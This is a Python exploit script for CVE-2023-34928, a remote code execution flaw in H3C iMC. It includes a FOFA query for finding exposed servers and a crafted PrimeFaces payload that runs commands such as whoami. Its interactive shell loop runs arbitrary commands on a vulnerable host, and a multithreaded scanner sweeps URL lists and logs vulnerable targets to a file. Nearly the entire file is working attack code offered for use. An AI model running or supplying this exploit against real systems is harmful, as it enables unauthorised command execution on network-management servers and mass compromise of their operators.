import requests
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
import re

#fofa "imc/login.jsf?"

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url_list=[]

#随机ua
def get_ua():
	first_num = random.randint(55, 62)
	third_num = random.randint(0, 3200)
	fourth_num = random.randint(0, 140)
	os_type = [
		'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
		'(Macintosh; Intel Mac OS X 10_12_6)'
	]
	chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

	ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
				   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
				  )
	return ua


proxies={'http': 'http://127.0.0.1:8080',
		'https': 'https://127.0.0.1:8080'}



def wirte_targets(vurl, filename):
	with open(filename, "a+") as f:
		f.write(vurl + "\n")

#poc
def check_vuln(url):

	#清洗url
	url = parse.urlparse(url)
	clearurl = url.scheme + '://' + url.netloc
	vulnurl = url.scheme + '://' + url.netloc + '/imc/javax.faces.resource/dynamiccontent.properties.xhtml'
	data ='''pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1I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I4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=whoami'''
	try:
		headers = {'User-Agent': get_ua(),
		'Content-Type': 'application/x-www-form-urlencoded',
		}
		res = requests.post(vulnurl,headers=headers,data=data,timeout=10,allow_redirects=False,verify=False)
		if res.status_code == 200 and len(res.text) != 0 and "status" not in res.text:
			# data=res.text.replace('\r\n','')
			print("\033[32m[+] {} is vulnerable. {}\033[0m".format(clearurl,res.text))
			wirte_targets(clearurl,"vuln.txt")
			#为cmdshell函数做准备
			return 1
		else:
			print("\033[31m[-] {} is no vulnerable\033[0m".format(clearurl))
	except Exception as e:
		print ("[!] {} is timeout\033[0m".format(clearurl))

#cmdshell
def cmdshell(url):
	#先执行poc
	if check_vuln(url) == 1:
		url = parse.urlparse(url)
		url1 = url.scheme + '://' + url.netloc + '/imc/javax.faces.resource/dynamiccontent.properties.xhtml'
		
		#死循环模拟交互式shell
		while 1:
			cmd = input("\033[35mshell: \033[0m")
			#如果输入exit就退出shell
			if cmd =="exit":
				sys.exit(0)
			else:
				headers = {'User-Agent': get_ua(),
				'Content-Type': 'application/x-www-form-urlencoded',
				}
				data ='''pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1Ii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4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd={}'''.format(cmd)
				try:
					res = requests.post(url1,data=data,headers=headers,allow_redirects=False,timeout=10,verify=False)
					if len(res.text) != 0:
						print("\033[32m {}\033[0m".format(res.text))
					else:
						print("\033[31m[-] {} request flase!\033[0m".format(url1))

				except Exception as e:
					print("\033[31m[-] {} is timeout!\033[0m".format(url1))
					pass
#多线程
def multithreading(url_list, pools=5):
	works = []
	for i in url_list:
		# works.append((func_params, None))
		works.append(i)
	# print(works)
	pool = threadpool.ThreadPool(pools)
	reqs = threadpool.makeRequests(check_vuln, works)
	[pool.putRequest(req) for req in reqs]
	pool.wait()


if __name__ == '__main__':
	show = r'''

	cve-2023-34928
	                                                                    
                         H3C iMC RCE By when
	'''
	print(show + '\n')
	arg=ArgumentParser(description='check_url By when')
	arg.add_argument("-u",
						"--url",
						help="Target URL; Example:python3 CVE-2023-34928.py -u http://ip:port")
	arg.add_argument("-f",
						"--file",
						help="url_list; Example:python3 CVE-2023-34928.py -furl.txt")
	arg.add_argument("-c",
					"--cmd",
					help="command; Example:python3 CVE-2023-34928.py -c http://ip:port")
	args=arg.parse_args()
	url=args.url
	filename=args.file
	cmd=args.cmd
	if url != None and cmd == None and filename == None:
		check_vuln(url)
	elif url == None and cmd == None and filename != None:
		start=time()
		for i in open(filename):
			i=i.replace('\n','')
			url_list.append(i)
		multithreading(url_list,10)
		end=time()
		print('任务完成，用时{}'.format(end-start))
	elif url == None and cmd != None and filename == None:
		cmdshell(cmd)

